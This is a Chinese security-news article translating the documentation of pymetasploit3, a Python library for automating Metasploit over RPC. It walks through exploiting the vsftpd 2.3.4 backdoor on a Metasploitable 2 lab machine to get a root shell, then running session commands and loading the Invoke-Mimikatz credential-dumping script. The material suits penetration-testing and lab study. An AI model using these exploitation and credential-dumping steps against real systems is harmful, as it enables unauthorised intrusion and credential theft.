freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

pymetasploit3:一个Python编写的Metasploit自动化库
2019-06-18 15:00:40

Pymetasploit3是一个Python编写的成熟的Metasploit自动化库。它可以通过msfrpcd或msfconsole中的msgrpc插件与Metasploit进行交互。

原始库:pymetasploit

该项目是Python2 pymetasploit库的更新和改进版本。

原项目地址:https://github.com/allfro/pymetasploit

安装

mkdir your-project
cd your-project
pipenv install --three pymetasploit3
pipenv shell

或:

pip3 install --user pymetasploit3

基本使用

启动 Metasploit RPC server

你也可以使用msfrpcd或msfconsole启动RPC server。

Msfconsole

这将启动端口55552上的RPC server以及Metasploit控制台UI。

$ msfconsole
msf> load msgrpc [Pass=yourpassword]

msfrpcd

这将在端口55553上启动RPC服务器,并将在后台启动RPC server。

$ msfrpcd -P yourpassword -S

RPC client

连接到 msfrpcd

>>> from pymetasploit3.msfrpc import MsfRpcClient
>>> client = MsfRpcClient('yourpassword')

加载 msgrpc 插件连接到 msfconsole

>>> from pymetasploit3.msfrpc import MsfRpcClient
>>> client = MsfRpcClient('yourpassword', port=55552)

MsfRpcClient

Msfrpcclient类提供了在metasploit框架中导航的核心功能。使用dir(client)查看可调用的方法。

>>> [m for m in dir(client) if not m.startswith('_')]
['auth', 'authenticated', 'call', 'client', 'consoles', 'core', 'db', 'jobs', 'login', 'logout', 'modules', 'plugins',
'port', 'server', 'token', 'sessions', 'ssl', 'uri']
>>>

与metasploit框架一样,MsfRpcClient被分割为不同的管理模块:

auth:管理msfrpcd守护程序的客户端身份验证。

consoles:管理与Metasploit模块创建的控制台/shell的交互。

core:管理Metasploit框架核心。

db:管理msfrpcd的后端数据库连接。

modules:管理Metasploit模块的交互和配置(即exploits,auxiliaries等)

plugins:管理与Metasploit核心相关的插件。

sessions:管理与Metasploit meterpreter会话的交互。

运行一个 exploit

exploit模块:

>>> client.modules.exploits
['windows/wins/ms04_045_wins', 'windows/winrm/winrm_script_exec', 'windows/vpn/safenet_ike_11',
'windows/vnc/winvnc_http_get', 'windows/vnc/ultravnc_viewer_bof', 'windows/vnc/ultravnc_client', ...
'aix/rpc_ttdbserverd_realpath', 'aix/rpc_cmsd_opcode21']
>>>

创建一个exploit模块对象:

>>> exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
>>>

exploit模块信息:

>>>  print(exploit.description)

          This module exploits a malicious backdoor that was added to the	VSFTPD download
          archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
          June 30th 2011 and July 1st 2011 according to the most recent information
          available. This backdoor was removed on July 3rd 2011.

>>> exploit.options
['TCP::send_delay', 'ConnectTimeout', 'SSLVersion', 'VERBOSE', 'SSLCipher', 'CPORT', 'SSLVerifyMode', 'SSL', 'WfsDelay',
'CHOST', 'ContextInformationFile', 'WORKSPACE', 'EnableContextEncoding', 'TCP::max_send_size', 'Proxies',
'DisablePayloadHandler', 'RPORT', 'RHOST']
>>> exploit.missing_required # Required options which haven't been set yet
['RHOST']
>>>

让我们使用在VMWare上运行的Metasploitable 2实例作为我们的漏洞利用目标。它当前运行了我们最喜欢的vsFTPd版本 - 2.3.4 - 我已经加载了漏洞利用模块。下一步是指定我们的攻击目标:

>>> exploit['RHOST'] = '172.16.14.145' # IP of our target host
>>>

选择一个payload:

>>> exploit.targetpayloads()
['cmd/unix/interact']
>>>

该漏洞的利用仅支持一个payload(cmd/unix/interact)。让我们来弹出一个shell:

>>> exploit.execute(payload='cmd/unix/interact')
{'job_id': 1, 'uuid': '3whbuevf'}
>>>

可以看到job成功运行,因为job_id为1。如果模块由于任何原因无法执行,则job_id将为None。在会话列表中我们可以看到一些非常有用的信息。

>>> client.sessions.list
{1: {'info': '', 'username': 'jsmith', 'session_port': 21, 'via_payload': 'payload/cmd/unix/interact',
'uuid': '5orqnnyv', 'tunnel_local': '172.16.14.1:58429', 'via_exploit': 'exploit/unix/ftp/vsftpd_234_backdoor',
'exploit_uuid': '3whbuevf', 'tunnel_peer': '172.16.14.145:6200', 'workspace': 'false', 'routes': '',
'target_host': '172.16.14.145', 'type': 'shell', 'session_host': '172.16.14.145', 'desc': 'Command shell'}}
>>>

与 shell 交互

从上面找到的会话编号中创建一个shell对象并写入:

>>> shell = client.sessions.session('1')
>>> shell.write('whoami')
>>> print(shell.read())
root
>>>

像此前一样运行相同的exploit对象,但要它完成并获取输出:

>>> cid = client.consoles.console().cid # Create a new console and store its number in 'cid'
>>> print(client.consoles.console(cid).run_module_with_output(exploit, payload='cmd/unix/interact'))
# Some time passes
'[*] 172.16.14.145:21 - Banner: 220 vsFTPd 2.3.4
[*] 172.16.14.145:21 - USER: 331 Please specify the password
...'

client.sessions.session('1')具有相同的.write('some string') 和.read()方法,但运行会话命令并等待它们完成返回输出并不像控制台命令那么简单。对于client.consoles.console('1').is_busy(),Metasploit RPC服务器将返回一个为true或False的busy值,但要确定client.sessions.session()是否完成运行命令需要我们手动执行。为此,我们将使用一个字符串列表,当在会话输出中找到任何字符串时,它将告诉我们会话已运行完其命令。下面我们在meterpreter会话中运行arp命令。我们知道这个命令将返回一个包含字符的较大blob文本----如果成功运行,那么我们将它放入一个列表对象中。

>>> session_id = '1'
>>> session_command = 'arp'
>>> terminating_strs = ['----']
>>> client.sessions.session(session_id).run_with_output(session_command, terminating_strs)
# Some time passes
'\nARP Table\n                  ---------------\n  ...`

使用输出运行PowerShell脚本:

>>> session_id = '1'
>>> psh_script_path  = '/home/user/scripts/Invoke-Mimikatz.ps1'
>>> session = c.sessions.session(sessions_id)
>>> sessions.import_psh(psh_script_path)
>>> sessions.run_psh_cmd('Invoke-Mimikatz')
# Some time passes
'Mimikatz output...'

也可以使用超时简单地返回在超时到期之前找到的所有数据。timeout默认值为Metasploit的通信超时300秒,如果命令超时,则会抛出异常。更改此设置,请将timeout_exception设置为False,库将只返回在超时到期之前找到的会话输出中的所有数据。

>>> session_id = '1'
>>> session_command = 'arp'
>>> terminating_strs = ['----']
>>> client.sessions.session(session_id).run_with_output(session_command, terminating_strs, timeout=10, timeout_exception=False))
# 10s pass
'\nARP Table\n                  ---------------\n  ...`

更多示例

你可以在example_usage.py文件中找到许多其他用法示例。

 *参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

# Metasploit # powershell # pymetasploit3
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者